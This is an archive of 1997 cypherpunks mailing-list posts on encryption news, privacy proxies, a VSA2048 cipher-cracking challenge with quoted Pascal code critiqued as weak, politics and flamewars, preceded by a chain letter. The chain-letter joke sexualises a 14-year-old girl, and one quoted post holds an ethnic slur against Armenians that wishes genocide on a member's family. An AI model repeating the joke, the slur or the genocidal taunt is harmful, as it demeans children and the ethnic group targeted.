MIME-Version: 1.0
Content-Type: text/plain


Subject: "Liten rolig historia (fwd)" (fwd)


Nothing wrong in being superstitious...

 > > READ THIS MESSAGE AND PASS IT ON....
 > > A man takes the day off work and decides to go out golfing.  He is
 > > on the second hole when he notices a frog sitting next to the green.
 > > He  thinks nothing of it and is about to shoot when he hears,
 > > "Ribbit. 9 Iron"  The man looks around and doesn't see anyone.
 > > "Ribbit. 9 Iron." He looks at  the frog and decides to prove the
 > > frog wrong, puts his other club away, and  grabs a 9 iron. Boom! he
 > > hits it 10 inches from the cup. He is shocked. He  says to the frog,
 > > "Wow that's amazing. You must be a lucky frog, eh?" The frog reply's
 > > "Ribbit. Lucky frog." The man decides  to take the frog with him to
 > > the next hole. "What do you think frog?" the  man asks. "Ribbit. 3
 > > wood."  The guy takes out a 3 wood and Boom! Hole in one. The man is
 > > befuddled and doesn't know what to say. By the end of the day, the
 > > man golfed the best game of golf in his life and asks the frog,"OK
 > > where to next?" The frog replied, "Ribbit. Las Vegas." They go to
 > > Las Vegas and the guy says, "OK frog, now what?"  The frog says,
 > > "Ribbit Roulette." Upon approaching the roulette table, the man
 > > asks," What do you think I should bet?" The frog replies, "Ribbit.
 > > $3000,black 6." Now, this is a million-to-one shot to win, but after
 > > the golf game, the man figures what the heck. Boom! Tons of cash
 > > comes sliding back across the table. The man takes his winnings and
 > > buys the best room in the hotel.  He sits the frog down and says,
 > > "Frog, I don't know how to repay you.  You've won me all this  money
 > > and I am forever grateful." The frog replies, "Ribbit, Kiss Me." He
 > > figures why not, since after all the frog did for him he deserves
 > > it. With a  kiss, the frog turns into a gorgeous 14-year-old girl.
 > > "And that, your honor, is how the girl ended up in my room."
 > >
 > > The origination of this letter is unknown, but it  brings good
 > > luck to everyone who passes it on.  The one who breaks the chain
 > > will have bad luck.  Do not keep this letter.  Do not send money.
 > > Just forward it to five of your friends to whom you wish good luck.
 > > You will see that something good happens to you four days from now
 > > if the chain is not broken.  You will receive good luck in four
 > > days.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Fri, 16 May 1997 23:48:09 +0800
To: <cypherpunks@algebra.com>
Subject: New Encryption Code
Message-ID: <WIN2359-970516143008-6C0F*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain



Reuters News published on Thu May 8 the following:
(extracts only)

>IBM Researchers devise new encryption code

snip

>Encryption products, which scramble information and render
>it unreadable without a password or software "key", have
>become an increasingly important component of global
>communications and online commerce over the Internet.

>"This is a pioneering accomplishment in the field of
>cryptography and a big step toward the ultimate in
>cryptography --  a truly invincible mathematically
>proven method for protecting private computer
>information from unwanted viewing," said Ashok
>Chandra, a manager of computer science at IBM's
>Almaden Research Center in San Jose, Calif.

>The system was invented by computer scientists Miklos
>Ajtai and Cynthia Dwork of IBM's Almaden lab.

snip

The complete message disappeard the other day and my
follow up investigations failed.

Does somebody have more information than what was
given in the message by Reuters.


Theodor Schlickmann 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 17 May 1997 09:06:42 +0800
To: cypherpunks@toad.com
Subject: Commercial privacy proxy server available
Message-ID: <3.0.1.32.19970516175007.00940890@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



See <http://www.iproxy.com/>; their service agreement isn't very
pro-privacy (they don't want you to use it for porn, and reserve the right
to disclose records to law enforcement or third parties, pursuant to
warrant/process *or* informal request), but it's an interesting development. 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 17 May 1997 09:37:50 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: intellectual capital
In-Reply-To: <3.0.1.32.19970515213401.002ec988@popd.ix.netcom.com>
Message-ID: <199705170125.SAA05023@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


an interesting trend is occuring relative to the term
"intellectual capital" that BS's message reminds me of.
I've read recent issues of Forbes and "fast company" that
talk about the concept of "intellectual capital", the
former ridiculing it and the later glorifying it.

what is intellectual capital? in short, in the information
age, value becomes more and more abstract. you don't measure
value any more in a company by the number of heads, like
cattle, but in fact the volume of those heads. "intellectual
capital"-- one person may be worth ten times another based
on their contribution to the profitability of a company.

increasingly we are going to see business models that reflect
this truism, much to the dismay of "atom-based" companies
that will fight this trend tooth and nail, and die out
like dinosaurs kicking and screaming. we will see people
make money that relates far more to their actual contribution
to a company. if programmers are adding the most value, then
their salaries will reflect it. in a way, their salaries
already reflect it!

part of my posting the "microstock market" is that I hope
that this trend continues to the point that it may be possible
some day to have a stock market of ideas-- a far more 
conceptual construction in which value is related to the
people participating and their ideas, not the amount of
atoms/mass that is involved. I suspect such a thing will
eventually happen.

I think in the future we will also see ways of growing companies
from the very most seed-like idea to the mass manufacturing
system. there will be some kind of cohesion and elegance about
the whole thing, as the process is recognized as basic as
growing plants. 

a neat book I would recommend to anyone is called "accidental
empires" by an infoworld columnist on the computer industry
that hints on some of these ideas.

on to BS..

>
>Really interesting post!  I think the net will simplify the
>ownership issues and the publicity issues long before it
>makes good information about the value of small companies
>easy to get.  That's far more dependent on the personalities
>of the players in a company (hard to judge, except in person),
>the ideas the company's trying to develop into products/services
>(may need non-disclosure arrangements,


intellectual capital. imagine everyone's resumes being posted
on their web site. it may be hard to judge, but the information
is there for you if you have some kind of measure. such systems
already exist today for some companies. you see everyone's
resume online. also, in companies in which people have individual
web pages describing internal company projects, I suspect increasingly
these pages will be open to the outside world so customers can
better judge the value of a company.

[ideas] may need privacy to 
>develop in, may not want to waste their time publicizing each
>step in their decision processes, contract negotiations are
>usually very private, etc.)  

the question to ask is about "open standards" in the computer
industry. ultimately I think this is a concept that will become
far more global than merely electronics and software but begin
to permeate the entire economic system. notice that it is possible
for companies to survive, even thrive, on open standards. everyone
benefits. it's not a "us vs. them" thing any more, a paradigm
shift that requires some people to rethink their approaches
and attitudes. (bill gates would be one example of this. he has
found in the past that he made enemies out of companies that were
not really his enemy. see the "accidental empire" book).

however I do agree there is a role for secrecy even in this
system. however openness/publicity will tend to be the new
norm, instead of closed-up boxes as it is now.

>On the other hand, the net can often help those parts of a business.
>The Cygnus Support folks have done well in a very open environment.
>I recently talked with a headhunter who'd seen my discussion with 
>someone on Usenet and wanted an opinion about the guy;
>the headhunter was doing a lot of in-depth web searching to find 
>people who might be interested or qualified for a position he was
>trying to fill.

yes, what I see in the computer industry is that increasingly because
the intellectual capital is so valuable, you are going to see situations
in which valuable players become like "free agents". they move around
teams, they have people who do nothing but figure out where to plug
them into, and their salaries are very high. this is happening right
now in the computer industry. the concept of working at one company
or another is increasingly less relevant. I've not seen many good books
or articles on this amazing phenomenon, and hope that some people
might be able to cite some.

>Venture capital firms provide some value to their investors
>by managing the granularity of the transactions, but they also
>add value by providing personal understanding of the companies 
>they're evaluating whether to invest in.

I agree. venture capital firms are on the leading edge of understanding
the importance of "intellectual capital" and what it adds to a company.
although I've heard horror stories of VC firms that just throw a lot
of money around without the slightest clue about the technology
involved. I suspect the converse is true that there are some very
sophisticated technology-only VC firms that go over the technology
they are funding with a fine-toothed comb. the image of VC is that
it is very chaotic and hit or miss but I wonder if some VC firms
are becoming far more scientific than throwing darts ...

  Information wants to be free,
>or is at least cheap to copy, but providing the personal attention
>needed to understand and analyze information and make good decisions on it
>is still expensive.

intellectual capital is what transforms mere information into 
profit. there is a proportion going on here that might be 
exponential (profit is exponentially related to intellectual
capital?)  unfortunately while I believe IC exists, it is very
hard to measure. it's like an intelligence test. everyone agrees
that "intelligence exists", but no one has found a foolproof
way to measure it. oh well, the market will support those who
come the closest to the optimum.

  The nets can improve the
>information they have available on both the company and the market,
>and can provide better information to investors about what 
>venture capital analysts are good at evaluating what kinds of businesses.

tremendously. in fact I think our future economy is going to become
extremely web-based. customers and companies will all use the web
to interface with each other. companies without web pages will be
considered extremely gauche.

>Will the nets split these businesses up into individual
>venture-advice-consultants competing for investors?  Or will the 
>lead to broader coordination between venture capital businesses?  
>Or both?

there is a neat idea in "accidental empires" that involves the 
idea of a software studio, which I think is a great idea. in short,
the idea is to make software creation like moviemaking. you begin
from the start in assuming that you may or may not have a hit.
you hire contract workers who get a piece of the final action.
the contract workers move onto new projects all the time. I think
this could be a very powerful model, which is already being used
in the production of computer games.


p.s. thanks for taking me seriously BS <g>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 17 May 1997 09:50:22 +0800
To: TruthMonger <tm@dev.null>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <199705160607.AAA23128@wombat.sk.sympatico.ca>
Message-ID: <199705170129.SAA05200@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>Vladimir Z. Nuri wrote:
>> anyone who disbelieves in the authority of the US government
>> yet sends them their tax money is a hypocrite.
>
>  Horseshit. That's no different from saying that anyone who
>disbelieves in the authority of armed robbers yet gives them
>their wallet is a hypocrite.
>  Do you actually put any thought into your posts?
>

ok truthmonger, after someone has stolen your money, do you
report it to the police, or do you just sit around and
curse the evildoer? what is your response when your money
is stolen?

if you do report the thief to the police, what is the equivalent
of doing this with government tax money?

 the basic idea is that "he who does nothing has
no right to complain, but of course that has never stopped
anyone from complaining"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 17 May 1997 09:57:16 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Disinformation from folks like Kent on this list
In-Reply-To: <v03007809afa24cd04da0@[207.167.93.63]>
Message-ID: <199705170144.SAA06361@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


ah, kent crispin is a man after my own heart. good work Kent,
keep at it, and hone your style, after many months you may
be able to create seething cascading flamewars with only a few
posts. (hee, hee) the idea is to find the hot button of your
opponent, and then push it endlessly. wheeeeeeee!!! cypherpunks
have a *lot* of hotbuttons, I can assure you.

keep up the good work, Kent, uh, if that is really your real
name (heh heh)

TCM
>
>- unawareness of the situation in Rwanda, though he cites it as an example
>of why "anarchy leads to mass killings."

history is a clear example of this. only an anarchist such as yourself
would contest such a blatently obvious fact. if you do argue against it,
you're clearly using some concept of "anarchy" not commonly understood.
but of course, that has always been what you are doing. here is a question
for you: are there any synonyms in the english language that come closer
to what you are advocating than "anarchy"? surely you can think of some.
but of course, the word "anarchy" was very deliberately chosen.

>
>- he cites hackneyed Webster's definitions of "anarchy" to make some point,
>then objects that others are relying too much on definitions when they
>refute him.

as others have noted, the "cypherpunk vocabulary" is a bit different
than that used by most english-speaking people. the cypherpunks have
their own vocabulary in which words like "democracy, anarchy, 
leadership" etc. become highly charged words with new meanings. a
complex culture.

anyone with more interest should see www.csn.net/~ldetweil, an amusing
site on the subject of "cypherpunk sociology" etc.

>- he proudly admits to not having looked at past archives, nor I presume at
>the large file I generated a few years ago (Cyphernomicon), covering many
>of the issues he keeps raising.

oh, the horror that he hasn't read every single post of yours and your
tedious and disorganized "faq". ahem, I credit you for putting in a lot
of time into the project, but perhaps you would get more bang for your
buck designing chips or whatever it was you used to do.  eeeks, that
came out sounding pretty horrible, please rest assured that if it sounded
offensive I didn't *mean* it that way!!! thanks for your understanding
and patience.

>(Speaking as an info-terrorist who sees strong crypto as a tool for
>triggering the eventual collapse of governments and dispenser of justice to
>the criminal rulers, I certainly won't be "volunteering" to use any key
>recovery tools, leastwise none that put the key in any subpoenable
>repository. Maybe key recovery with my lawyer, outside the U.S., but not in
>any Netscape's Trusted Key Suppository.)

question:

has there ever been a period in history that you cite as "anarchy" that
you would hold up as an example of what you are talking about?

if not, why is it that nobody has stumbled on it in the millenia of
human social systems?


>I've taken to sometimes responding to him, but usually not. Nothing
>delights me more than seeing some long rambling criticism of us, and our
>work, and then deleting it.

nothing delights me more in pushing hotbuttons or seeing a young
up-and-coming whippersnapper with a good taste for the same. beep, beep, BEEP

>Kent is just one of several folks who've discovered this list, share none
>of its core values, and seeks to disrupt it with innuendos, spam, insults,
>and disinformation.

a man after my own heart. kent, keep up the good work.

>Kent, please go away.
>

Tim, please go away.

Tim is one of several people who pretends to have started this list, 
brainwashes everyone with his core values, and seeks to mold it into
his own image with innuendos, camouflaged spam, insults, and 
disinformation.

Only one response is warranted 
to the cryptonarchists who claim that a nonviolent anarchy exists: 
"Death to Cryptoanarchists!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 17 May 1997 12:02:02 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: The Inducement of Rabid Anarchism in Certain   Materialists...
In-Reply-To: <19970514142758.42227@bywater.songbird.com>
Message-ID: <v0300782aafa2bf001d89@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:10 PM -0700 5/15/97, Bill Stewart wrote:
>But people are still going to teach their kids what they need,
>and people are still going to keep most of their agreements with
>their neighbors, and they're still going to help each other resolve
>arguments about the agreements that weren't kept, whether that
>resolution is done by an armed posse, or by the offender's family
>paying off the obligation in cattle, or by shunning people until they
>do the right thing, or refusing to give credit to known deadbeats,
>or whatever...

Or by SYN/ ARP flooding.  :-)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 17 May 1997 09:18:01 +0800
To: cypherpunks@toad.com
Subject: Secure payments on the Internet the focus of internationalconference June 19-20 in Washington
Message-ID: <v03020902afa2a23ffa0a@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 16 May 1997 15:17:31 -0400
From: Debra Greenberg <101664.3477@compuserve.com>
Organization: FBMA America Inc.
MIME-Version: 1.0
To: rah@shipwright.com
Subject: Secure payments on the Internet the focus of international
conference June 19-20 in Washington
X-URL: http://www.shipwright.com/#contact

Hello, Mr. Hettinga -- I'm a fairly recent fan of e$, having learned
about it only a month ago.

Aware as I am of the rules of Netiquette, I was hoping for your advice
or assistance regarding how I might let other readers know about an
important conference coming up June 19-20 in Washington on the subject
of secure payments and the Internet.

Sponsored by Digital Equipment Corp., Hitachi, CyberCash and VeriFone,
the conference will address payment systems, security issues, digital
signatures and certification authorities, regulatory issues, standards
development, emerging technologies, and other topics.

Keynote speakers include Ira C. Magaziner, Senior Advisor to the
President for Policy Development; William Melton, CEO, CyberCash; and
Frank V. Cahouet, CEO, Mellon Bank, among others.

In addition to discussions on electronic purse, chip cards,
micropayments, credit cards on the Internet and other payment
systems, and in addition to progress reports on BIPS, NetBill,
Integrion, Mondex and other high-profile rollouts, the conference will
feature discussions on:

-taxation of Internet commerce (Karl Frieden, Arther Andersen / Walter
Nagel, MCI Communications)

-risk management in business-to-business bill payments on the Internet
(Anne Friedman, Chase Manhattan / Sandra Runyon, Southwestern Bell /
Scott Smith, Jupiter Communications

-establishing trust in electronic transactions (Lori Fena, Exec.
Director, Electronic Frontier Foundation)

- the US Postal Service's electronic postmarking and CA initiative

- proposed changes to the ACH network to support Internet payments


In all, there will be about 40 presentations.

The CyberPayments 97 conference (which is accompanied by an exposition
titled "i-Money" takes place June 19-20 at the Sheraton Washington Hotel
and is organized by the National Automated Clearing House Association,
which is actively involved in promoting all types of payment systems,
including Internet payments.

A full conference brochure can be found at www.nacha.org

I hope you'll find the conference interesting enough to share with your
readers.

Thank you in advance for your consideration of this information.

Sincerely,
Debra Greenberg
Managing Director
FBMA America Inc. (on behalf of the National Automated Clearing House
Association)
101664.3477@compuserve.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 17 May 1997 08:18:45 +0800
To: cypherpunks@toad.com
Subject: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970516200054_1557203574@emout14.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Here are the addresses of the slightly modified versions of the Pascal source
code files of VSA2048 Cryptography Module V2.0 (the shareware trial edition
version):

http://www.dataet.com/public/source/vsacmv20/vsacm.dpr
http://www.dataet.com/public/source/vsacmv20/intunit.pas
http://www.dataet.com/public/source/vsacmv20/libunit.pas
http://www.dataet.com/public/source/vsacmv20/stdunit.pas

If you are not located within the United States, don't even consider viewing
the files.

Yes, I realize that the public release of the source code files is long
overdue (okay, REALLY long overdue), but I would appreciate it if you
e-mailed any suggestions, comments, criticisms, insults, etc. to
jeremy@dataet.com. As I am not subscribed to the cypherpunks' mailing list, I
would not receive any messages regarding the source code posted to the list.
It would be best to download VSACM V2.0 from our Web site and make use of the
help file included and analyze each function or procedure within the source
code systematically. VSACM.DPR is the main project file. INTUNIT.PAS
basically contains functions, procedures and data structures not directly
available to developers. LIBUNIT.PAS contains the functions and procedures
that are readily available to developers. STDUNIT.PAS contains the source of
the algorithm extensions.

Also, there is a VSA2048 encrypted binary file located at
http://www.dataet.com/public/source/vsacmv20/crackit.dat. The file was
encrypted using 120-bit (NOT 128-bit) VSA2048 key. Yes, I'm making things a
whole 8 bits easier (although the maximum key length is 2048 bits). The first
cypherpunk who develops a VSA2048 decryption utility, decrypts the file, and
sends decrypted message and the correct key to info@dataet.com and
cypherpunks@toad.com will receive a free basic Web site package. (Package
details are located at http://www.dataet.com). (Igor, this is it!)

If someone does indeed decrypt the file, I myself will post an apology and a
declaration that VSA2048 constitutes a defective encryption algorithm to the
cypherpunks mailing list. I will have the marketing of the VSA2048 encryption
algorithm discontinued.

The decryption utility must be a program that either incorporates the source
code internally or incorporates the source code as a compiled DLL. (You must
compile the given source code. The shareware trial edition version of VSACM
V2.0, which only allows keys up to 40 bits in length, is NOT compatible with
the given source code.)

The "contest" expires on June 20th, 1997. The message and the correct key
will be posted to cypherpunks@toad.com on June 21st, 1997. By the way, if
someone cannot hack the file by June 20th...well...I don't know who'll be
laughing then. After all, the applied key is only 120 bits in length. Also,
the contest is currently limited to those who are subscribed to the
cypherpunks' mailing list. There are no exceptions.

By the way, you can check out DataET Research's Web site at
http://www.dataet.com. (No, we're NOT using America Online as our Web space
provider anymore.)

Regards,

Jeremy Yu-Ramos
DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 17 May 1997 11:34:16 +0800
To: cypherpunks@algebra.com
Subject: Re: Just Say "No" to Congress
In-Reply-To: <199705160128.SAA03463@netcom17.netcom.com>
Message-ID: <v03007801afa2e0559cfb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:10 PM -0800 5/16/97, Ray Arachelian wrote:
>On Thu, 15 May 1997, Vladimir Z. Nuri wrote:
>
>> anyone who disbelieves in the authority of the US government
>> yet sends them their tax money is a hypocrite.
>
>You seem to be misinformed.  You don't send your money to Uncle Sam.  It
>gets taken out of every pay check before you even see it.   Then, come
>April 15, you fill a piece of paper out with the hope you'll get some of
>it back.  But sometimes, Uncle Sam takes even more.

Actually, Larry is right. At least in my case, and that of many I know, I
send _them_ the money, it is not withheld in any way. I have to consciously
write them out a check (or several) for their blood money.

As for my being hypocritical, Detweiler is free to think whatever he
thinks. If and when I go down in a shootout with the fascists, I expect
it'll be over something more dramatic than not paying my taxes.

(And not paying taxes merely starts a long, multi-year process. If they
even figure out I haven't been filing and paying, a long period of letters,
warnings, and seizure proceedings starts. Although I gather it was a tax
dispute that got the IRS interested in Jim Bell and, thus, the eventual
raid on his house. I'll take this into consideration.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 17 May 1997 09:59:56 +0800
To: DataETRsch@aol.com
Subject: Re: http://www.dataet.com/public/source/vsacmv20/
In-Reply-To: <970516200054_1557203574@emout14.mail.aol.com>
Message-ID: <199705170136.UAA16850@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


DataETRsch@aol.com wrote:
> Here are the addresses of the slightly modified versions of the Pascal source
> code files of VSA2048 Cryptography Module V2.0 (the shareware trial edition
> version):
> 
> http://www.dataet.com/public/source/vsacmv20/vsacm.dpr
> http://www.dataet.com/public/source/vsacmv20/intunit.pas
> http://www.dataet.com/public/source/vsacmv20/libunit.pas
> http://www.dataet.com/public/source/vsacmv20/stdunit.pas
> 
> If you are not located within the United States, don't even consider viewing
> the files.

Thank you VERY MUCH for releasing the source code. This shows that you are
serious about your program and truly appreciate how important is the process
of review as far as your credibility is concerned.

I have downloaded your code and looked at it. Looks rather interesting
(especially the part below). What I did not understand, however, is
what is SetVal and how it works. Also, I was not clear how you set
variables AE1, AE2, ..., AE10 and so on.

As far as I understand, you use these variables to select the particular 
encryption method. Do you normally select only one method on some random 
basis or you use several passes?

Also, some may be interested to look at this particular encryption
method (I added some indentation and comments for readability). I believe
that it is not particularly strong.


procedure TC1001;
label 1000;
begin

for B1 := 0 to 255 do 
	Used[B1] := False;

for B1 := 0 to 255 do
begin
  1000:
  B2 := Random(256);
  if Used[B2] then goto 1000;
  EncTable[B1] := B2;
  DecTable[B2] := B1;
  Used[B2] := True;
end;

{============================= ENCRYPTION ==========================}
if Process then
  repeat
    if Size - CurByte >= Segment then Copied := Segment;
    if Size - CurByte <  Segment then Copied := (Size - CurByte);
    FileSeek(AccFile, CurByte, 0);
    FileRead(AccFile, Block, Copied);
    for I1 := 1 to Copied do
    begin
      Block[I1] := Block[I1] xor Random(256);
      Block[I1] := EncTable[Block[I1]];
    end;

    FileSeek(AccFile, CurByte, 0);
    FileWrite(AccFile, Block, Copied);
    
    CurByte := CurByte + Segment;
  until (Copied <> Segment) or (CurByte > Size - 3);

{======================= DECRYPTION ============================}
if not Process then
  repeat
    if Size - CurByte >= Segment 
	then Copied := Segment;
    if Size - CurByte <  Segment 
	then Copied := (Size - CurByte);

    FileSeek(AccFile, CurByte, 0);
    FileRead(AccFile, Block, Copied);

    for I1 := 1 to Copied do
    begin
      Block[I1] := DecTable[Block[I1]];
      Block[I1] := Block[I1] xor Random(256);
    end;

    FileSeek(AccFile, CurByte, 0);
    FileWrite(AccFile, Block, Copied);
    CurByte := CurByte + Segment;
  until (Copied <> Segment) or (CurByte > Size - 3);
end;

ignoramus

> Yes, I realize that the public release of the source code files is long
> overdue (okay, REALLY long overdue), but I would appreciate it if you
> e-mailed any suggestions, comments, criticisms, insults, etc. to
> jeremy@dataet.com. As I am not subscribed to the cypherpunks' mailing list, I
> would not receive any messages regarding the source code posted to the list.
> It would be best to download VSACM V2.0 from our Web site and make use of the
> help file included and analyze each function or procedure within the source
> code systematically. VSACM.DPR is the main project file. INTUNIT.PAS
> basically contains functions, procedures and data structures not directly
> available to developers. LIBUNIT.PAS contains the functions and procedures
> that are readily available to developers. STDUNIT.PAS contains the source of
> the algorithm extensions.
> 
> Also, there is a VSA2048 encrypted binary file located at
> http://www.dataet.com/public/source/vsacmv20/crackit.dat. The file was
> encrypted using 120-bit (NOT 128-bit) VSA2048 key. Yes, I'm making things a
> whole 8 bits easier (although the maximum key length is 2048 bits). The first
> cypherpunk who develops a VSA2048 decryption utility, decrypts the file, and
> sends decrypted message and the correct key to info@dataet.com and
> cypherpunks@toad.com will receive a free basic Web site package. (Package
> details are located at http://www.dataet.com). (Igor, this is it!)
> 
> If someone does indeed decrypt the file, I myself will post an apology and a
> declaration that VSA2048 constitutes a defective encryption algorithm to the
> cypherpunks mailing list. I will have the marketing of the VSA2048 encryption
> algorithm discontinued.
> 
> The decryption utility must be a program that either incorporates the source
> code internally or incorporates the source code as a compiled DLL. (You must
> compile the given source code. The shareware trial edition version of VSACM
> V2.0, which only allows keys up to 40 bits in length, is NOT compatible with
> the given source code.)
> 
> The "contest" expires on June 20th, 1997. The message and the correct key
> will be posted to cypherpunks@toad.com on June 21st, 1997. By the way, if
> someone cannot hack the file by June 20th...well...I don't know who'll be
> laughing then. After all, the applied key is only 120 bits in length. Also,
> the contest is currently limited to those who are subscribed to the
> cypherpunks' mailing list. There are no exceptions.
> 
> By the way, you can check out DataET Research's Web site at
> http://www.dataet.com. (No, we're NOT using America Online as our Web space
> provider anymore.)
> 
> Regards,
> 
> Jeremy Yu-Ramos
> DataET Research
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 17 May 1997 13:14:14 +0800
To: cypherpunks@toad.com
Subject: Re: Dan White & Feinstein
In-Reply-To: <19970515002241.20918@bywater.songbird.com>
Message-ID: <19970516214950.35898@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 16, 1997 at 11:07:32AM -0400, Duncan Frissell wrote:
>Feinstein had been a friend of his when he was on the Board of
>Supes and it is possible that one of the reasons he lost it during the crisis
>over his resignation and attempt to get back on the Board was because
>Feinstein was in Nepal on her honeymoon (millionaire second husband) and
>wasn't there to support him. 

BTW, do you remember what happened to her first husband?

[...]

>Feinstein want to grab your guns because she is an authoritarian.  Not
>because of any particular experiences she's had with guns.

You are in denial.  Her firsthand experience with gun violence has 
clearly been a serious formative factor in her values and opinions.  
However, I agree that she has authoritarian tendencies.  Furthermore, 
she is, in my opinion, pretty lightweight intellectually -- not quite to 
the Reagan level, perhaps, but (as Reagan demonstrated) one doesn't 
need intelligence to succeed in politics.

>  She has shown
>equal contempt for the First Amendment and the Second.  She's ma woman and a
                                                               ^^^^^^^^
Please translate?
>commie liberal.  What can one expect.

>While mayor of San Francisco, she indulged in a number of famous suppressions
>of free speech:
>
>1)  She cancelled the appearance of the Turkish Folklorico Ballet because of
>demonstration threats from the (no longer starving) Armenians.
>
>2)  She tried to ban the showing of whatever that dumb New York gang movie
>was after a stabbing at one of the theaters showing it.
>
>3)  She pressured a clothing store to pull its billboard ad campaign
>"Feinstyle" which featured a (fully clothed) reclining, look-alike model
>wearing her sort of scarf and business attire.

Oh, give me a break, Duncan.  These are absolutely pathetic 
examples.  Much more indicative of her "caliber", I think, was her 
mind-numbing efforts to get a new stadium built.

...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 17 May 1997 14:12:35 +0800
To: cypherpunks@toad.com
Subject: Re: TEXTO - Text steganography
In-Reply-To: <199705160908.CAA03291@fat.doobie.com>
Message-ID: <19970516224838.26116@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 16, 1997 at 03:24:23PM +0000, Paul Bradley wrote:
> 
> >    Texto text files look like something between mad libs and bad poetry,
> > (although they do sometimes contain deep cosmic truths) and should be
> > close
> > enough to normal english to get past simple-minded mail scanners and to
> > entertain readers of talk.bizarre.
> > -------------
> > 
> >   Perhaphs this explains why, when I tried it, it signed Paul Bradley's
> > name to the output.
> 
> Mr. Nobody,
> 
> This message justified the fact that I do not have a killfile deleting 
> remailer messages at present. ROFL.
> 
> BTW Kent, I thought you never used remailers... ;-)

Not me.  I'm not smart enough.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 17 May 1997 11:11:35 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Dan White & Feinstein
In-Reply-To: <sc6s7D1w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970516225211.24291D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 16 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Yes - Armenians are censorous scum.  I'm sorry the Turks didn't get
> Ray Arachelian's grandparents.

Yawn.  Keep trying Vulis. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





